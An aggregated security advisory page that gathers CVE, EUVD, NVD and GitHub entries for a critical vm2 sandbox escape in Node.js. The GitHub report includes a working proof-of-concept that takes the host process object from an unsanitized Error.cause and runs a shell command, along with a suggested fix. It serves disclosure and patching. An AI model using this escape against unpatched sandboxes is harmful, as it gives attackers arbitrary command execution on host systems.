vm2: Missing Error.cause Sanitization Enables VM2 Sandbox Escape to RCE

CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.

No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.6, handleException() in lib/setup-sandbox.js sanitizes SuppressedError.error, SuppressedError.suppressed, and AggregateError.errors but does not sanitize Error.cause, allowing sandbox code to obtain a powerful host object such as process from an embedder-exposed host function that throws an error with that object as its cause and then execute arbitrary host commands. This issue is fixed in version 3.11.6.

Source published

17 Aug 2026 20:54:39 UTC

Source modified

19 Aug 2026 03:56:00 UTC

Observed here

23 Oct 2026 15:48:27 UTC

Source terms

CVE Program Terms of Use

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CVSS 3.1 · 9.9 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.6, handleException() in lib/setup-sandbox.js sanitizes SuppressedError.error, SuppressedError.suppressed, and AggregateError.errors but does not sanitize Error.cause, allowing sandbox code to obtain a powerful host object such as process from an embedder-exposed host function that throws an error with that object as its cause and then execute arbitrary host commands. This issue is fixed in version 3.11.6.

Source published

Aug 17, 2026, 8:54:39 PM (timezone not stated)

Source modified

Aug 19, 2026, 3:56:00 AM (timezone not stated)

Observed here

7 Nov 2026 11:27:51 UTC

Source terms

ENISA EUVD · source terms and attribution apply

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EUVD CVSS 3.1 · 9.9 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.6, handleException() in lib/setup-sandbox.js sanitizes SuppressedError.error, SuppressedError.suppressed, and AggregateError.errors but does not sanitize Error.cause, allowing sandbox code to obtain a powerful host object such as process from an embedder-exposed host function that throws an error with that object as its cause and then execute arbitrary host commands. This issue is fixed in version 3.11.6.

Source published

17 Aug 2026 21:16:45 UTC

Source modified

23 Oct 2026 16:10:00 UTC

Observed here

25 Oct 2026 12:17:26 UTC

Source terms

NIST NVD usage terms; underlying source attribution retained

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · [email protected] · Secondary · 9.9 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

**Affected:** vm2 <= 3.11.3 **CVSS 3.1:** 9.9 HIGH (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H) **CWE:** CWE-693 (Protection Mechanism Failure) **Prerequisite:** Embedder exposes a host function that throws an Error with `.cause` referencing a powerful host object (e.g., `process`) ## Summary I found that `handleException()` in `lib/setup-sandbox.js` recursively sanitizes sub-errors for `SuppressedError` and `AggregateError`, but completely ignores the ES2022 `Error.cause` property. When sandbox code catches a host-thrown error carrying a `.cause` that references a host object like `process`, it can traverse that reference to achieve arbitrary command execution on the host. The project's own `docs/ATTACKS.md` (Defense Invariant #3, line 54) explicitly claims Error.cause is sanitized. The implementation does not match this claim. ## Root Cause The `handleException` function (lines 869-959 of `lib/setup-sandbox.js`) walks the prototype chain of caught errors looking for `SuppressedError` and `AggregateError`. When it finds them, it recursively sanitizes their contained errors (`.error`, `.suppressed`, `.errors[]`). For all other error types, it returns `e` directly at line 958 without inspecting `.cause`. ```javascript function handleException(e, visited) { e = ensureThis(e); if (e === null || (typeof e !== 'object' && typeof e !== 'function')) return e; // ... cycle detection ... while (proto !== null) { if (proto === localSuppressedErrorProto) { e.error = handleException(e.error, visited); // sanitized e.suppressed = handleException(e.suppressed, visited); // sanitized return e; } if (proto === localAggregateErrorProto) { // sanitizes e.errors[] ... return e; } proto = localReflectGetPrototypeOf(proto); } return e; // .cause is NEVER checked } ``` Error.cause was introduced in ES2022 (Node 16.9+). When `handleException` was extended to cover `SuppressedError` (for ES2024 `using` declarations) and `AggregateError`, the `.cause` property was simply overlooked. ## Affected Code - `lib/setup-sandbox.js:869-959`, the `handleException` function (missing `.cause` handling) - `lib/setup-sandbox.js:886`, `ensureThis` wraps the error but does not recurse into `.cause` - `docs/ATTACKS.md:54`, Defense Invariant #3 falsely claims `.cause` is covered ## Reproduction Embedder code that exposes a function throwing with `.cause` set to `process`: ```javascript const { VM } = require('vm2'); const vm = new VM({ sandbox: { hostFn: () => { throw new Error('fail', { cause: process }); } } }); const result = vm.run(` try { hostFn(); } catch (e) { // .cause is not sanitized, so we get a direct reference to host process const proc = e.cause; proc.mainModule.require('child_process').execSync('id').toString(); } `); console.log(result); ``` Verified output: ``` uid=502(vladimir.tokarev) gid=20(staff) groups=20(staff),12(everyone),61(localaccounts),... ``` Full RCE confirmed. ## Impact Any application using vm2 where an embedder-exposed function throws an Error with `.cause` referencing a host object is vulnerable. The attacker gains: - Full host process access (read/write files, spawn processes, network access) - Sandbox escape with changed scope (CVSS S:C) - No user interaction required The prerequisite (embedder throwing with `.cause`) is increasingly common. Error chaining via `new Error('msg', { cause: originalError })` is standard practice in modern Node.js code. Library wrappers, database adapters, and HTTP clients routinely chain errors this way. ## Suggested Fix Add `.cause` sanitization before the prototype-chain walk, so it applies to all error types: ```javascript function handleException(e, visited) { e = ensureThis(e); if (e === null || (typeof e !== 'object' && typeof e !== 'function')) return e; if (!visited) visited = new LocalWeakMap(); if (apply(localWeakMapGet, visited, [e])) return e; apply(localWeakMapSet, visited, [e, true]); // Sanitize .cause on ALL errors (ES2022) try { if ('cause' in e) { e.cause = handleException(e.cause, visited); } } catch (ex) { /* best effort */ } let proto = localReflectGetPrototypeOf(e); while (proto !== null) { if (proto === localSuppressedErrorProto) { e.error = handleException(e.error, visited); e.suppressed = handleException(e.suppressed, visited); return e; } if (proto === localAggregateErrorProto) { if (localArrayIsArray(e.errors)) { for (let i = 0; i < e.errors.length; i++) { e.errors[i] = handleException(e.errors[i], visited); } } return e; } proto = localReflectGetPrototypeOf(proto); } return e; } ``` `docs/ATTACKS.md` Defense Invariant #3 should also be updated to reflect reality until this fix ships. ## Artifacts | File | Role | |------|------| | `poc_error_cause_escape.js` | PoC demonstrating sandbox escape to RCE via unsanitized `.cause` | [poc_error_cause_escape.js](https://github.com/user-attachments/files/27952274/poc_error_cause_escape.js)

Source published

17 Aug 2026 17:32:34 UTC

Source modified

17 Aug 2026 17:56:03 UTC

Observed here

24 Oct 2026 13:17:17 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Publisher rating · CRITICAL